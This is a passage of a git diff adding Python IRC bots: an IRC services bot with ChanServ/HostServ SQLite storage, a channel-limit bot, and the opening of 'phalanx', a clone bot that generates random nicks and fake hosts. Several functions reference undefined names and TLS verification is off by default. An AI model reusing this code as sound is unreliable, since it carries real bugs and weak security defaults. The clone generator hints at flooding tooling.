+    def check():
+        tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
+        if len(tables):
+            return True
+        else:
+            return False
+
+    def create():
+        sql.execute('CREATE TABLE CHANSERV (CHANNEL TEXT NOT NULL, IDENT TEXT NOT NULL, MODE TEXT NOT NULL);')
+        sql.execute('CREATE TABLE HOSTSERV (IDENT TEXT NOT NULL, VHOST TEXT NOT NULL, STATUS TEXT NOT NULL);')
+        db.commit()
+
+
+
+class ChanServ:
+    def add_mode(chan, ident, mode):
+        sql.execute('INSERT INTO CHANSERV (CHANNEL,IDENT,MODE) VALUES (?, ?, ?)', (chan, ident, mode))
+        db.commit()
+
+    def channels():
+        return set(list(item[0] for item in sql.execute('SELECT CHANNEL FROM CHANSERV ORDER BY CHANNEL ASC').fetchall()))
+
+    def del_mode(chan, ident):
+        sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident))
+        db.commit()
+
+    def drop(chan):
+        sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=?', (chan,))
+        db.commit()
+
+    def get_mode(chan, ident):
+        data = sql.execute('SELECT MODE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident)).fetchone()
+        if data:
+            return data[0]
+        else:
+            return None
+
+    def hosts():
+        return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
+
+    def idents(chan, mode=None):
+        if mode:
+            return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=?', (channel, mode)).fetchall())
+        else:
+            return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=?', (channel,)).fetchall())
+
+    def read(channel, mode=None):
+        if mode:
+            return sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel, mode)).fetchall()
+        else:
+            return sql.execute('SELECT IDENT,MODE FROM CHANSERV WHERE CHANNEL=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel,)).fetchall()
+
+
+
+class HostServ:
+    def add(ident, vhost):
+        sql.execute('INSERT INTO HOSTSERV (IDENT,VHOST,STATUS) VALUES (?, ?, \'pending\')', (ident, vhost))
+        db.commit()
+
+    def delete(ident):
+        sql.execute('DELETE FROM HOSTSERV WHERE IDENT=?', (ident,))
+        db.commit()
+
+    def get_vhost(ident, active=False):
+        data = sql.execute('SELECT VHOST FROM HOSTSERV WHERE IDENT=? AND STATUS=\'on\'', (ident,)).fetchone()
+        if data:
+            return data[0]
+        else:
+            return None
+
+    def get_status(ident):
+        data =  sql.execute('SELECT STATUS FROM HOSTSERV WHERE IDENT=?', (ident,)).fetchone()
+        if data:
+            return data[0]
+        else:
+            return None
+
+    def hosts():
+        return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
+
+    def idents():
+        return list(item[0] for item in sql.execute('SELECT IDENT FROM HOSTSERV').fetchall())
+
+    def pending():
+        return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV WHERE STATUS=\'pending\' ORDER BY IDENT ASC').fetchall()
+
+    def read():
+        return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV ORDER BY IDENT ASC').fetchall()
+
+    def set_status(ident, status):
+        sql.execute('UPDATE HOSTSERV SET STATUS=? WHERE IDENT=?', (status, ident))
+        db.commit()
+
+    def vhosts():
+        return list(item[0] for item in sql.execute('SELECT VHOST FROM HOSTSERV').fetchall())
\ No newline at end of file
diff --git a/bots/ircs/ircs/core/irc.py b/bots/ircs/ircs/core/irc.py
new file mode 100644
index 0000000..e0834e5
--- /dev/null
+++ b/bots/ircs/ircs/core/irc.py
@@ -0,0 +1,433 @@
+#!/usr/bin/env python
+# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
+# irc.py
+
+import socket
+import ssl
+import time
+
+import config
+import debug
+from functions import Database, ChanServ, HostServ
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+class IRC(object):
+    server       = config.server
+    port         = config.port
+    use_ipv6     = config.use_ipv6
+    use_ssl      = config.use_ssl
+    vhost        = config.vhost
+    password     = config.password
+    nickname     = config.nickname
+    username     = config.username
+    realname     = config.realname
+    oper_passwd  = config.oper_passwd
+    admin_host   = config.admin_host
+
+    def __init__(self):
+        self.husers = list()
+        self.last   = dict()
+        self.sock   = None
+
+    def action(self, chan, msg):
+        self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
+
+    def chghost(self, nick, host):
+        self.raw('CHGHOST {0} {1}'.format(nick, host))
+
+    def color(self, msg, foreground, background=None):
+        if background:
+            return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
+        else:
+            return '\x03{0}{1}{2}'.format(foreground, msg, reset)
+
+    def connect(self):
+        try:
+            self.create_socket()
+            self.sock.connect((self.server, self.port))
+            if self.password:
+                self.raw('PASS ' + self.password)
+            self.raw('USER {0} 0 * :{1}'.format(self.username, self.realname))
+            self.raw('NICK ' + self.nickname)
+        except socket.error as ex:
+            debug.error('Failed to connect to IRC server.', ex)
+            self.event_disconnect()
+        else:
+            self.listen()
+
+    def create_socket(self):
+        if self.use_ipv6:
+            self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+        else:
+            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        if self.vhost:
+            self.sock.bind((self.vhost, 0))
+        if self.use_ssl:
+            self.sock = ssl.wrap_socket(self.sock)
+
+    def error(self, target, msg, reason=None):
+        if reason:
+            self.sendmsg(target, '[{0}] {1} {2}'.format(self.color('ERROR', red), msg, self.color('({0})'.format(str(reason)), grey)))
+        else:
+            self.sendmsg(target, '[{0}] {1}'.format(self.color('ERROR', red), msg))
+
+    def event_connect(self):
+        self.mode(self.nickname, '+Bd')
+        self.oper(self.username, self.oper_passwd)
+        if Database.check():
+            for channel in ChanServ.channels():
+                self.join(channel)
+        else:
+            Database.create()
+
+    def event_connection(self, nick, ident):
+        vhost = HostServ.get_vhost(ident, True)
+        if vhost:
+            self.chghost(nick, vhost)
+
+    def event_disconnect(self):
+        self.sock.close()
+        time.sleep(10)
+        self.connect()
+
+    def event_end_of_who(self):
+        if self.last['cmd'] == 'husers':
+            if self.husers:
+                self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(self.husers), grey)))
+            else:
+                self.error(self.last['nick'], 'No hidden users found.')
+
+    def event_join(self, nick, ident, chan):
+        mode = ChanServ.get_mode(chan, ident)
+        if mode:
+            self.mode(chan, '+{0} {1}'.format(mode, nick))
+
+    def event_kick(self, chan, kicked):
+        if kicked == self.nickname:
+            if chan in Database.channels():
+                self.join(chan)
+
+    def event_nick_in_use(self):
+        debug.error_exit('IRCS is already running.')
+
+    def event_notice(self, nick, data):
+        if '.' in nick or nick == self.server:
+            args = data.split()
+            if 'Client connecting' in data:
+                nick  = args[6]
+                ident = args[7][1:][:-1]
+                self.event_connection(nick, ident)
+
+    def event_private(self, nick, ident, msg):
+        try:
+            args = msg.split()
+            cmd  = args[0][1:]
+            host = ident.split('@')[1]
+            if cmd == 'husers' and host == self.admin_host:
+                if len(args) == 1:
+                    self.husers = list()
+                    self.last   = {'nick':nick,'cmd':'husers'}
+                    self.who('I', '*')
+                elif len(args) == 2:
+                    if args[1] == 'kill':
+                        if self.husers:
+                            self.action(nick, 'Killing all hidden users...')
+                            for item in self.husers:
+                                self.kill(item['nick'], 'Killed by IRCS anti-bot protection.')
+                        else:
+                            self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
+                    elif args[1] == 'gzline':
+                        if self.husers:
+                            self.action(nick, 'Z:Lining all hidden users...')
+                            for item in self.husers:
+                                self.gzline(item['host'], '1d', 'Banned by IRCS anti-bot protection.')
+                        else:
+                            self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
+                elif len(args) == 3:
+                    if args [1] == 'join':
+                        channel = args[2]
+                        if channel.startswith('#') and len(channel) <= 20:
+                            if self.husers:
+                                self.action(nick, 'Joining all hidden users to {0}...'.format(channel))
+                                for item in self.husers:
+                                    self.sajoin(item['nick'], channel)
+                            else:
+                                self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
+                        else:
+                            self.error(nick, 'Invalid arguments.')
+                    else:
+                        self.error(nick, 'Invalid arguments.')
+                else:
+                    self.error(nick, 'Invalid arguments.')
+            elif cmd == 'mode':
+                if len(args) > 1:
+                    channel = args[1]
+                    if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
+                        if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
+                            if len(args) == 2:
+                                if channel in ChanServ.channels():
+                                    data = ChanServ.read(channel)
+                                    self.sendmsg(nick, '[{0}]'.format(self.color(channel, purple)))
+                                    for row in data:
+                                        self.sendmsg(nick, '{0} | {1}'.format(self.color('+' + row[1], grey), self.color(row[0], yellow)))
+                                    self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
+                                else:
+                                    self.error(nick, self.color(channel, purple) + ' does not exist.')
+                            elif len(args) == 3:
+                                if args[2] in ('a','h','o','v','q'):
+                                    if channel in ChanServ.channels():
+                                        mode = args[2]
+                                        data = ChanServ.read(channel, mode)
+                                        if data:
+                                            self.sendmsg(nick, '[{0}] {1}'.format(self.color(channel, purple) , self.color('(+{0})'.format(mode), grey)))
+                                            for row in data:
+                                                self.sendmsg(nick, self.color(row[0], yellow))
+                                            self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
+                                        else:
+                                            self.error(nick, self.color('+{0}'.format(mode), grey) + ' is empty.')
+                                    else:
+                                        self.error(nick, self.color(channel, purple) + ' does not exist.')
+                                else:
+                                    self.error(nick, 'Invalid arguments.')
+                            elif len(args) == 4:
+                                if args[2] in ('a','h','o','v','q') and args[3][:1] in '+-' and len(args[3]) <= 63 and debug.check_data(args[3]):
+                                    mode = args[2]
+                                    if mode == 'q' and host != self.admin_host:
+                                        self.error(nick, 'You do not have permission to change this mode.')
+                                    else:
+                                        action = args[3][:1]
+                                        ident  = args[3][1:]
+                                        if action == '+':
+                                            if not ChanServ.get_mode(channel, ident):
+                                                ChanServ.add_mode(channel, ident, mode)
+                                                self.sendmsg(nick, '{0} {1} has been {2} to the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('added', green), self.color(channel, purple)))
+                                            else:
+                                                self.error(nick, '{0} already exists in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
+                                        elif action == '-':
+                                            if ChanServ.get_mode(channel, ident):
+                                                ChanServ.del_mode(channel, ident)
+                                                self.sendmsg(nick, '{0} {1} has been {2} from the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('removed', red), self.color(channel, purple)))
+                                            else:
+                                                self.error(nick, '{0} does not exist in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
+                                else:
+                                    self.error(nick, 'Invalid arguments.')
+                            else:
+                                self.error(nick, 'Invalid arguments.')
+                        else:
+                            self.error(nick, 'You do not have permission to use this command.')
+                    else:
+                        self.error(nick, 'Invalid arguments.')
+                else:
+                    self.error(nick, 'Invalid arguments.')
+            elif cmd == 'sync':
+                if len(args) == 2:
+                    channel = args[1]
+                    if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
+                        if channel in ChanServ.channels():
+                            if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
+                                self.action(nick, 'Syncing all modes in {0}...'.format(color(channel, purple)))
+                                self.last['cmd'] = 'sync ' + channel
+                                self.who('h', '*')
+                            else:
+                                self.error(nick, 'You do not have permission to use this command.')
+                        else:
+                            self.error(nick, '{0} does not exist.'.format(color(channel, purple)))
+                    else:
+                        self.error(nick, 'Invalid arguments.')
+                else:
+                    self.error(nick, 'Invalid arguments.')
+            elif cmd == 'vhost':
+                if len(args) == 2:
+                    if args[1] == 'list':
+                        if host == self.admin_host:
+                            vhosts = HostServ.read()
+                            if vhosts:
+                                self.sendmsg(nick, '[{0}]'.format(self.color('Registered Vhosts', purple)))
+                                for vhost in vhosts:
+                                    self.sendmsg(nick, '{0} {1}'.format(self.color(vhost[0], yellow), self.color('({0})'.format(vhost[1]), grey)))
+                                self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(vhosts), grey)))
+                            else:
+                                self.error(nick, 'Vhost list is empty.')
+                        else:
+                            self.error(nick, 'You do not have permission to use this command.')
+                    elif args[1] == 'off':
+                        status = HostServ.get_status(ident)
+                        if status == 'off':
+                            self.error(nick, 'VHOST is already turned off.')
+                        elif status == 'on':
+                            HostServ.set_status(ident, 'off')
+                            self.sendmsg(nick, 'VHOST has been turned ' + color('off', red))
+                        else:
+                            self.error(nick, 'You do not have a registered VHOST.')
+                    elif args[1] == 'on':
+                        status = HostServ.get_status(ident)
+                        if status == 'off':
+                            HostServ.set_status(ident, 'on')
+                            self.sendmsg(nick, 'VHOST has been turned ' + color('on', green))
+                        elif status == 'on':
+                            self.error(nick, 'Your VHOST is already turned on.')
+                        else:
+                            self.error(nick, 'You do not have a registered VHOST.')
+                    elif args[1] == 'sync':
+                        vhost = HostServ.get_vhost(ident)
+                        if host == vhost:
+                            self.error(nick, 'Your VHOST is already synced and working.')
+                        elif vhost:
+                            self.action(nick, 'Syncing VHOST...')
+                            self.chghost(nick, vhost)
+                        else:
+                            self.error(nick, 'You do not have a registered VHOST.')
+                elif len(args) == 3:
+                    if args[1] == 'drop':
+                        if host == self.admin_host:
+                            ident = args[2]
+                            if ident in HostServ.idents():
+                                HostServ.delete(ident)
+                                self.sendmsg(nick, '{0} has been {1} from the vhost database.'.format(self.color(ident, light_blue), self.color('removed', red)))
+                            else:
+                                self.error(nick, '{0} does not have a vhost.'.format(self.color(ident, light_blue)))
+                        else:
+                            self.error(nick, 'You do not have permission to use this command.')
+                elif len(args) == 4:
+                    if args[1] == 'add':
+                        if host == self.admin_host:
+                            ident = args[2]
+                            vhost = args[3]
+                            if ident not in HostServ.idents():
+                                HostServ.add(ident, vhost)
+                                self.sendmsg(nick, '{0} has been {1} from the database.'.format(self.color(ident, light_blue), self.color('added', green)))
+                            else:
+                                self.error(nick, '{0} is already registered.'.format(color(ident, light_blue)))
+                        else:
+                            self.error(nick, 'You do not have permission to use this command.')
+                    else:
+                        self.error(nick, 'Invalid arguments.')
+                else:
+                    self.error(nick, 'Invalid arguments.')
+        except Exception as ex:
+            self.error(nick, 'Unexpected error has occured.', ex)
+
+    def event_who(self, chan, user, host, nick):
+        if self.last:
+            if self.last['cmd'] == 'husers':
+                if chan == '*':
+                    self.husers.append({'user':user,'host':host,'nick':nick})
+                    self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color(nick, yellow), self.color('({0}@{1})'.format(user, host), grey)))
+            elif self.last['cmd'].startswith('sync'):
+                channel = self.last['cmd'].split()[1]
+                if chan == channel:
+                    mode = ChanServ.mode(chan, '{0}@{1]'.format(user, host))
+                    if mode:
+                        self.mode(chan, '+{0} {1}'.format(mode, nick))
+
+    def gzline(self, host, duration, msg):
+        self.raw('gzline *@{1} {2} {3}'.format(user, host, duration, msg))
+
+    def handle_events(self, data):
+        args = data.split()
+        if args[0] == 'PING':
+            self.raw('PONG ' + args[1][1:])
+        elif args[1] == '001':
+            self.event_connect()
+        elif args[1] == '315':
+           self.event_end_of_who()
+        elif args[1] == '352':
+            chan = args[3]
+            user = args[4]
+            host = args[5]
+            nick = args[7]
+            self.event_who(chan, user, host, nick)
+        elif args[1] == '433':
+            self.event_nick_in_use()
+        elif args[1] == 'NOTICE':
+            nick = args[0][1:]
+            self.event_notice(nick, data)
+        elif args[1] in ('JOIN','KICK','PRIVMSG'):
+            nick = args[0].split('!')[0][1:]
+            if nick != self.nickname:
+                chan = args[2]
+                if args[1] == 'JOIN':
+                    host = args[0].split('!')[1]
+                    self.event_join(nick, host, chan[1:])
+                elif args[1] == 'KICK':
+                    kicked = args[3]
+                    self.event_kick(chan, kicked)
+                elif args[1] == 'PRIVMSG':
+                    ident = args[0].split('!')[1]
+                    msg   = data.split('{0} PRIVMSG {1} :'.format(args[0], chan))[1]
+                    if msg.startswith('!'):
+                        if chan == self.nickname:
+                            self.event_private(nick, ident, msg)
+
+    def join(self, chan):
+        self.raw('JOIN ' + chan)
+        self.mode(chan, '+q ' + self.nickname)
+
+    def kill(self, nick, reason):
+        self.raw('KILL {0} {1}'.format(nick, reason))
+
+    def listen(self):
+        while True:
+            try:
+                data = self.sock.recv(1024).decode('utf-8')
+                if data:
+                    for line in (line for line in data.split('\r\n') if line):
+                        debug.irc(line)
+                        if line.startswith('ERROR :Closing Link:'):
+                            raise Exception('Connection has closed.')
+                        elif len(line.split()) >= 2:
+                            self.handle_events(line)
+                else:
+                    debug.error('No data recieved from server.')
+                    break
+            except (UnicodeDecodeError,UnicodeEncodeError):
+                debug.error('Unicode error has occured.')
+            except Exception as ex:
+                debug.error('Unexpected error occured.', ex)
+                break
+        self.event_disconnect()
+
+    def mode(self, target, mode):
+        self.raw('MODE {0} {1}'.format(target, mode))
+
+    def oper(self, nick, password):
+        self.raw('OPER {0} {1}'.format(nick, password))
+
+    def part(self, chan, msg):
+        self.raw('PART {0} {1}'.format(chan, msg))
+
+    def raw(self, msg):
+        self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+    def sajoin(self, nick, chan):
+        self.raw('SAJOIN {0} {1}'.format(nick, chan))
+
+    def sendmsg(self, target, msg):
+        self.raw('PRIVMSG {0} :{1}'.format(target, msg))
+
+    def who(self, flag, args):
+        self.raw('who +{0} {1}'.format(flag, args))
+
+IRCS = IRC()
\ No newline at end of file
diff --git a/bots/ircs/ircs/data/.gitignore b/bots/ircs/ircs/data/.gitignore
new file mode 100644
index 0000000..b722e9e
--- /dev/null
+++ b/bots/ircs/ircs/data/.gitignore
@@ -0,0 +1 @@
+!.gitignore
\ No newline at end of file
diff --git a/bots/ircs/ircs/ircs.py b/bots/ircs/ircs/ircs.py
new file mode 100644
index 0000000..0ec026f
--- /dev/null
+++ b/bots/ircs/ircs/ircs.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
+# ircs.py
+
+import os
+import sys
+
+sys.dont_write_bytecode = True
+os.chdir(sys.path[0] or '.')
+sys.path += ('core',)
+
+import debug
+import irc
+
+debug.info()
+if not debug.check_version(3):
+    debug.error_exit('IRCS requires Python 3!')
+if debug.check_privileges():
+    debug.error_exit('Do not run IRCS as admin/root!')
+irc.IRCS.connect()
diff --git a/bots/limitserv.py b/bots/limitserv.py
new file mode 100644
index 0000000..6c7bd7f
--- /dev/null
+++ b/bots/limitserv.py
@@ -0,0 +1,264 @@
+#!/usr/bin/env python
+# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+
+import socket
+import threading
+import time
+
+# Configuration
+_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
+_cert       = {'file':None, 'key':None, 'password':None}
+_ident      = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
+_login      = {'nickserv':None, 'network':None, 'operator':None}
+_throttle   = {'limit':300, 'queue':0.5, 'voice':10}
+_settings   = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason):
+	print(f'{get_time()} | [!] - {msg} ({reason})')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+class IRC(object):
+	def __init__(self):
+		self._channels = list()
+		self._names = list()
+		self._queue = list()
+		self._voices = dict()
+		self._sock = None
+
+	def _run(self):
+		Loop._loops()
+		self._connect()
+
+	def _connect(self):
+		try:
+			self._create_socket()
+			self._sock.connect((_connection['server'], _connection['port']))
+			self._register()
+		except socket.error as ex:
+			error('Failed to connect to IRC server.', ex)
+			Event._disconnect()
+		else:
+			self._listen()
+
+	def _create_socket(self):
+		self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		if _connection['vhost']:
+			self._sock.bind((_connection['vhost'], 0))
+		if _connection['ssl']:
+			ctx = ssl.SSLContext()
+			if _cert['file']:
+				ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
+			if _connection['ssl_verify']:
+				ctx.verify_mode = ssl.CERT_REQUIRED
+				ctx.load_default_certs()
+			else:
+				ctx.check_hostname = False
+				ctx.verify_mode = ssl.CERT_NONE
+			self._sock = ctx.wrap_socket(self._sock)
+
+	def _listen(self):
+		while True:
+			try:
+				data = self._sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					debug(line)
+					Event._handle(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except Exception as ex:
+				error('Unexpected error occured.', ex)
+				break
+		Event._disconnect()
+
+	def _register(self):
+		if _login['network']:
+			Bot._queue.append('PASS ' + _login['network'])
+		Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
+		Bot._queue.append('NICK ' + _ident['nickname'])
+
+class Command:
+	def _join(chan, key=None):
+		Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
+
+	def _kick(chan, nick, msg=None):
+		Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
+
+	def _mode(target, mode):
+		Bot._queue.append(f'MODE {target} {mode}')
+
+	def _raw(msg):
+		Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
+
+	def _sendmsg(target, msg):
+		Bot._queue.append(f'PRIVMSG {target} :{msg}')
+
+class Event:
+	def _connect():
+		if _settings['modes']:
+			Command._mode(_ident['nickname'], '+' + _settings['modes'])
+		if _login['nickserv']:
+			Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
+		if _login['operator']:
+			Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
+
+	def _disconnect():
+		Bot._sock.close()
+		Bot._names = list()
+		Bot._queue = list()
+		Bot._voices = dict()
+		time.sleep(15)
+		Bot.connect()
+
+	def _end_of_names(chan):
+		limit = str(len(Bot._names) + _settings['limit'])
+		if settings['anope']:
+			Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
+		else:
+			Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
+		Bot._names = list()
+
+	def _join(nick, chan):
+		if nick == _ident['nickname'].lower():
+			if chan not in Bot._channels:
+				Bot._channels.append(chan)
+			if chan not in Bot._voices:
+				Bot._voices[chan] = dict()
+		elif chan in Bot._channels:
+			if nick not in Bot._voices[chan]:
+				Bot._voices[chan][nick] = time.time()
+
+	def _kick(nick, chan, kicked):
+		if nick == _ident['nickname'].lower():
+			Bot._channels.remove(chan)
+			del Bot._voices[chan]
+			time.sleep(3)
+			Command._join(chan)
+		elif chan in Bot._channels:
+			if nick in Bot._voices[chan]:
+				del Bot._voices[chan][nick]
+
+	def _names(chan, nicks):
+		for name in nicks:
+			if name[:1] in '~!@%&+':
+				name = name[1:]
+			Bot._names.append(name)
+
+	def _nick(nick, new_nick):
+		for chan in Bot._voices:
+			if nick in Bot._voices[chan]:
+				Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
+				del Bot._voices[chan][nick]
+
+	def _no_such_nick(nick):
+		for chan in Bot._voices:
+			if nick in Bot._voices[chan]:
+				del Bot.voices[chan][nick]
+
+	def _part(nick, chan):
+		if nick == _ident['nickname'].lower():
+			Bot._channels.remove(chan)
+			del Bot._voices[chan]
+		elif chan in Bot._channels:
+			if nick in Bot._voices[chan]:
+				del Bot._voices[chan][nick]
+
+	def _quit(nick):
+		for chan in Bot._voices:
+			if nick in Bot._voices[chan]:
+				del Bot._voices[chan][nick]
+
+	def _handle(data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
+			raise Exception('Connection has closed. (throttled)')
+		elif args[0] == 'PING':
+			Command._raw('PONG ' + args[1][1:])
+		elif args[1] == '001': # RPL_WELCOME
+			Event._connect()
+		elif args[1] == '401': # ERR_NOSUCHNICK
+			nick = args[3].lower()
+			Event._no_such_nick(nick)
+		elif args[1] == '433': # ERR_NICKNAMEINUSE
+			raise Exception('Bot is already running or nick is in use.')
+		elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
+			chan = args[4].lower()
+			names = ' '.join(args[5:]).lower()[1:].split()
+			Event._names(chan, names)
+		elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
+			chan = args[3].lower()
+			Event._end_of_names(chan)
+		elif args[1] == 'JOIN' and len(args) == 3:
+			nick = args[0].split('!')[0][1:].lower()
+			chan = args[2][1:].lower()
+			Event._join(nick, chan)
+		elif args[1] == 'KICK' and len(args) >= 4:
+			nick = args[0].split('!')[0][1:].lower()
+			chan = args[2].lower()
+			kicked = args[3].lower()
+			Event._kick(nick, chan, kicked)
+		elif args[1] == 'NICK' and len(args) == 3:
+			nick = args[0].split('!')[0][1:].lower()
+			new_nick = args[2][1:].lower()
+			Event._nick(nick, new_nick)
+		elif args[1] == 'PART' and len(args) >= 3:
+			nick = args[0].split('!')[0][1:].lower()
+			chan = args[2].lower()
+			Event._part(nick, chan)
+		elif args[1] == 'QUIT':
+			nick = args[0].split('!')[0][1:].lower()
+			Event._quit(nick)
+
+class Loop:
+	def _loops():
+		threading.Thread(target=Loop._queue).start() # start first to handle incoming data
+		threading.Thread(target=Loop._limit).start()
+		threading.Thread(target=Loop._voice).start()
+
+	def _limit():
+		while True:
+			try:
+				for chan in Bot._channels:
+					Bot._queue.append('NAMES ' + chan)
+			except Exception as ex:
+				error('Error occured in the loop!', ex)
+			finally:
+				time.sleep(_throttle['limit'])
+
+	def _queue():
+		while True:
+			try:
+				if Bot._queue:
+					Command._raw(Bot._queue.pop(0))
+			except Exception as ex:
+				error('Error occured in the queue loop!', ex)
+			finally:
+				time.sleep(_throttle['queue'])
+
+	def _voice():
+		while True:
+			try:
+				for chan in Bot._voices:
+					nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
+					for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
+						Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
+						for subitem in item:
+							del Bot._voices[chan][subitem]
+			except Exception as ex:
+				error('Error occured in the voice loop!', ex)
+			finally:
+				time.sleep(1)
+
+# Main
+if _connection['ssl']:
+	import ssl
+else:
+	del cert, _connection['verify']
+Bot = IRC()
+Bot._run()
diff --git a/bots/phalanx.py b/bots/phalanx.py
new file mode 100644
index 0000000..4e184f9
--- /dev/null
+++ b/bots/phalanx.py
@@ -0,0 +1,182 @@
+#!/usr/bin/env python
+# phalanx localhost bot - developed by acidvegas in python (https://git.acid.vegas/archive)
+
+import asyncio
+import random
+import re
+import sys
+import time
+
+class settings:
+	admin     = 'acidvegas!*@*' # change me
+	access    = [admin,]
+	oper_user = 'phalanx'
+	oper_pass = 'changeme'
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+reset       = '\x0f'
+green       = '03'
+red         = '04'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+
+def color(msg, foreground, background=None):
+	return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+
+def is_access(ident):
+	result = False
+	for item in settings.access:
+		if re.compile(item.replace('*','.*')).search(ident):
+			result = True
+	return result
+
+def is_admin(ident):
+	return re.compile(settings.admin.replace('*','.*')).search(ident)
+
+def rndip():
+	host = ''
+	for i in range(3):
+		host = host + ''.join([random.choice('0123456789ABCDEF') for n in range(8)]) + '.'
+	return host + 'IP'
+
+def rndnick():
+	prefix = random.choice(['st','sn','cr','pl','pr','fr','fl','qu','br','gr','sh','sk','tr','kl','wr','bl']+list('bcdfgklmnprstvwz'))
+	midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz'))
+	suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led','inger']+list('abcdfgklmnprstvwz'))
+	return prefix+midfix+suffix
+
+class clone:
+	def __init__(self, identity={'chan':'#phalanx','nick':'phalanx','user':'W','host':'R','real':'\x0304ROMAN WAR PHALANX\x03'}):
+		self.identity  = identity
+		self.clones    = dict()
+		self.destroy   = False
+		self.reader    = None
+		self.write     = None
+
+	async def sendmsg(self, target, msg):
+		await self.raw(f'PRIVMSG {target} :{msg}')
+
+	async def error(self, chan, data, reason=None):
+		await self.sendmsg(chan, '[{0}] {1}'.format(color('error', red), data, color(f'({reason})', grey))) if reason else await self.sendmsg(chan, '[{0}] {1}'.format(color('error', red), data))
+
+	async def run(self):
+		await self.connect()
+
